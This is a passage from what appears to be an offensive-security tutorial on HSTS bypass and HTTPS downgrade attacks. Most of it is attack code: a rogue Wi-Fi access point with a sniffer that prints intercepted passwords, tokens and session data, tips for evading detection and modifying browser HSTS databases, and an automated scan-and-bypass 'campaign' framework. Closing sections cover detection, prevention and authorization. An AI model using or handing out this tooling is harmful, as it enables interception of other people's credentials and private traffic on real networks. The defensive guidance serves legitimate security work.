                    payload = packet[Raw].load.decode('utf-8', errors='ignore')
                    
                    # Look for sensitive data in HTTP traffic
                    if any(keyword in payload.lower() for keyword in 
                           ['password', 'login', 'token', 'session']):
                        print(f"Sensitive data intercepted via HSTS bypass: {payload[:100]}...")
        
        print("Monitoring for HSTS bypass success...")
        sniff(iface=self.interface, prn=packet_handler, filter="tcp port 80")

# Example usage
wifi_bypass = PublicWiFiHSTSBypass("wlan0")
wifi_bypass.setup_rogue_access_point("Corporate_Guest")
portal_html = wifi_bypass.implement_captive_portal_bypass()

Common Issues and Solutions

Problem: Modern browsers enforcing HSTS preload lists

  • Solution: Target subdomains not in preload lists, focus on first-visit vulnerabilities, use browser database manipulation

Problem: HSTS policies with long max-age values

  • Solution: Use browser HSTS database modification, target subdomain gaps, implement persistent bypass techniques

Problem: Certificate Transparency monitoring detecting bypass attempts

  • Solution: Use legitimate certificates, focus on HTTP downgrade rather than certificate replacement, implement stealth techniques

Problem: Network security controls detecting HTTP downgrade attempts

  • Solution: Use gradual downgrade techniques, implement bypass during legitimate HTTP traffic, use timing-based attacks

Advanced Techniques

HSTS Bypass Automation Framework

#!/usr/bin/env python3
import asyncio
import aiohttp
from datetime import datetime, timedelta
import json

class HSTSBypassAutomation:
    def __init__(self):
        self.target_domains = []
        self.bypass_opportunities = {}
        self.active_bypasses = {}
        
    async def automated_hsts_reconnaissance(self, domain_list):
        """Automated HSTS reconnaissance across multiple domains"""
        
        async with aiohttp.ClientSession() as session:
            tasks = []
            
            for domain in domain_list:
                task = self.analyze_domain_hsts(session, domain)
                tasks.append(task)
            
            results = await asyncio.gather(*tasks, return_exceptions=True)
            
            for domain, result in zip(domain_list, results):
                if isinstance(result, dict):
                    self.bypass_opportunities[domain] = result
                    print(f"HSTS analysis completed for {domain}: {len(result)} opportunities")
        
        return self.bypass_opportunities
    
    async def analyze_domain_hsts(self, session, domain):
        """Analyze individual domain for HSTS bypass opportunities"""
        
        opportunities = []
        
        try:
            # Test main domain
            async with session.get(f"https://{domain}", ssl=False, timeout=10) as response:
                hsts_header = response.headers.get('Strict-Transport-Security')
                
                if not hsts_header:
                    opportunities.append({
                        'type': 'no_hsts_policy',
                        'domain': domain,
                        'risk': 'high'
                    })
                else:
                    # Parse HSTS policy for weaknesses
                    if 'includeSubDomains' not in hsts_header:
                        opportunities.append({
                            'type': 'subdomain_gap',
                            'domain': domain,
                            'risk': 'medium'
                        })
                    
                    # Check max-age
                    max_age = self.extract_max_age(hsts_header)
                    if max_age < 31536000:  # Less than 1 year
                        opportunities.append({
                            'type': 'short_max_age',
                            'domain': domain,
                            'max_age_days': max_age // 86400,
                            'risk': 'medium'
                        })
            
            # Test HTTP connection
            try:
                async with session.get(f"http://{domain}", timeout=5, allow_redirects=False) as response:
                    if response.status == 200:
                        opportunities.append({
                            'type': 'http_accessible',
                            'domain': domain,
                            'risk': 'high'
                        })
            except:
                pass
                
        except Exception as e:
            print(f"Error analyzing {domain}: {e}")
        
        return opportunities
    
    def extract_max_age(self, hsts_header):
        """Extract max-age value from HSTS header"""
        
        try:
            if 'max-age=' in hsts_header:
                start = hsts_header.find('max-age=') + 8
                end = hsts_header.find(';', start)
                if end == -1:
                    end = len(hsts_header)
                return int(hsts_header[start:end])
        except:
            pass
        
        return 0
    
    async def execute_automated_bypass_campaign(self, opportunities):
        """Execute automated HSTS bypass campaign"""
        
        bypass_results = {}
        
        for domain, domain_opportunities in opportunities.items():
            domain_results = []
            
            for opp in domain_opportunities:
                if opp['risk'] == 'high':
                    # Execute high-risk bypasses immediately
                    result = await self.execute_bypass(domain, opp)
                    domain_results.append(result)
                elif opp['risk'] == 'medium':
                    # Queue medium-risk bypasses
                    await asyncio.sleep(5)  # Delay for stealth
                    result = await self.execute_bypass(domain, opp)
                    domain_results.append(result)
            
            bypass_results[domain] = domain_results
        
        return bypass_results
    
    async def execute_bypass(self, domain, opportunity):
        """Execute specific HSTS bypass technique"""
        
        bypass_type = opportunity['type']
        
        if bypass_type == 'no_hsts_policy':
            return await self.exploit_no_hsts_policy(domain)
        elif bypass_type == 'subdomain_gap':
            return await self.exploit_subdomain_gap(domain)
        elif bypass_type == 'http_accessible':
            return await self.exploit_http_accessible(domain)
        elif bypass_type == 'short_max_age':
            return await self.exploit_short_max_age(domain, opportunity['max_age_days'])
        
        return {'success': False, 'reason': 'Unknown bypass type'}
    
    async def exploit_no_hsts_policy(self, domain):
        """Exploit domains without HSTS policy"""
        
        print(f"Exploiting no HSTS policy for {domain}")
        
        # Start HTTP interception
        # Real implementation would start proxy/interception
        
        return {
            'success': True,
            'bypass_type': 'no_hsts_policy',
            'domain': domain,
            'start_time': datetime.now().isoformat()
        }
    
    async def exploit_subdomain_gap(self, domain):
        """Exploit subdomain HSTS gaps"""
        
        print(f"Exploiting subdomain gaps for {domain}")
        
        # Enumerate and test subdomains
        # Real implementation would do subdomain enumeration
        
        return {
            'success': True,
            'bypass_type': 'subdomain_gap',
            'domain': domain,
            'vulnerable_subdomains': []  # Would populate with actual subdomains
        }
    
    async def exploit_http_accessible(self, domain):
        """Exploit HTTP-accessible domains"""
        
        print(f"Exploiting HTTP accessibility for {domain}")
        
        return {
            'success': True,
            'bypass_type': 'http_accessible', 
            'domain': domain
        }
    
    async def exploit_short_max_age(self, domain, max_age_days):
        """Exploit short max-age HSTS policies"""
        
        print(f"Exploiting short max-age ({max_age_days} days) for {domain}")
        
        return {
            'success': True,
            'bypass_type': 'short_max_age',
            'domain': domain,
            'max_age_days': max_age_days
        }

# Example usage
async def main():
    automation = HSTSBypassAutomation()
    
    target_domains = [
        'example.com', 'test.org', 'sample.net',
        'corporate.example.com', 'api.example.com'
    ]
    
    # Automated reconnaissance
    opportunities = await automation.automated_hsts_reconnaissance(target_domains)
    
    # Execute automated bypass campaign
    results = await automation.execute_automated_bypass_campaign(opportunities)
    
    print("HSTS bypass campaign completed:")
    print(json.dumps(results, indent=2))

# asyncio.run(main())

Detection and Prevention

Detection Indicators

  • HTTP traffic to domains that should be HTTPS-only
  • Missing or modified HSTS headers in HTTP responses
  • Unusual browser HSTS database modifications or access patterns
  • Network traffic showing HTTPS to HTTP downgrades
  • Certificate warnings or errors for domains with HSTS policies

Prevention Measures

HSTS Implementation Best Practices:

# Implement comprehensive HSTS policy
echo "Strict-Transport-Security: max-age=63072000; includeSubDomains; preload" 

# Submit domains to HSTS preload list
curl -X POST "https://hstspreload.org/api/v2/submit" -d "domain=example.com"

# Monitor HSTS policy compliance
curl -I https://example.com | grep -i strict-transport-security

Advanced HSTS Protection:

  • Deploy HSTS policies with maximum max-age values (2+ years)
  • Include all subdomains in HSTS policies with includeSubDomains directive
  • Submit critical domains to HSTS preload lists for browser pre-loading
  • Implement HTTP to HTTPS redirects at the network level before application processing

Monitoring and Detection:

  • Monitor for HTTP requests to HSTS-protected domains
  • Implement certificate transparency monitoring for unauthorized certificates
  • Deploy network security monitoring for HTTPS downgrade attempts
  • Use browser security extensions that enforce HTTPS connections

Professional Context

Legitimate Use Cases

  • HSTS Implementation Testing: Validating HSTS policy effectiveness and coverage gaps
  • Security Assessment: Testing organizational resilience against HTTPS downgrade attacks
  • Browser Security Testing: Evaluating browser HSTS enforcement and protection mechanisms
  • Network Security Validation: Testing network-level HTTPS enforcement and monitoring capabilities

Legal and Ethical Requirements

Authorization: HSTS bypass testing can expose sensitive communications - explicit written permission essential

Scope Definition: Clearly identify which domains and network segments are in-scope for HSTS bypass testing

Data Protection: Ensure intercepted HTTPS-downgraded traffic is handled securely and in compliance with privacy regulations

Restoration Procedures: Restore original HSTS configurations and browser databases after testing completion


HSTS Bypass and Downgrade Attacks demonstrate the critical importance of comprehensive HTTPS enforcement and proper HSTS implementation, providing essential skills for security assessment while highlighting sophisticated techniques used to circumvent transport layer security protections.